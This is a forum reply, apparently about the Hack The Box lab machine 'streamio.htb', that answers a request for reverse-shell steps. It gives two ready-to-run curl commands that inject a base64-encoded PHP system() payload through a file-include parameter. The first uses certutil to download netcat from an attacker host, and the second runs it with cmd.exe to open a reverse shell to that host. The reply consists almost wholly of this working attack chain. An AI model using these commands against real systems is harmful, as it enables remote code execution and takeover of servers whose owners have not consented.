June 5, 2022 at 1:03 PM
(June 5, 2022, 12:55 PM)dude4695 Wrote: can anyone give me steps to get rev shell ?
Upload netcat onto the target
curl -s -k -X 'POST' -b "PHPSESSID=<YOSHIHIDE_SESSION_ID>" --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=certutil.exe+-urlcache+-split+-f+http://<LHOST>/nc.exe+c:\\windows\\temp\
c.exe"
Execute netcat to give us shell
curl -s -k -X 'POST' -b "PHPSESSID=<YOSHIHIDE_SESSION_ID>" --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=c:\\windows\\temp\
c.exe+-e+cmd.exe+<LHOST>+<LPORT>"

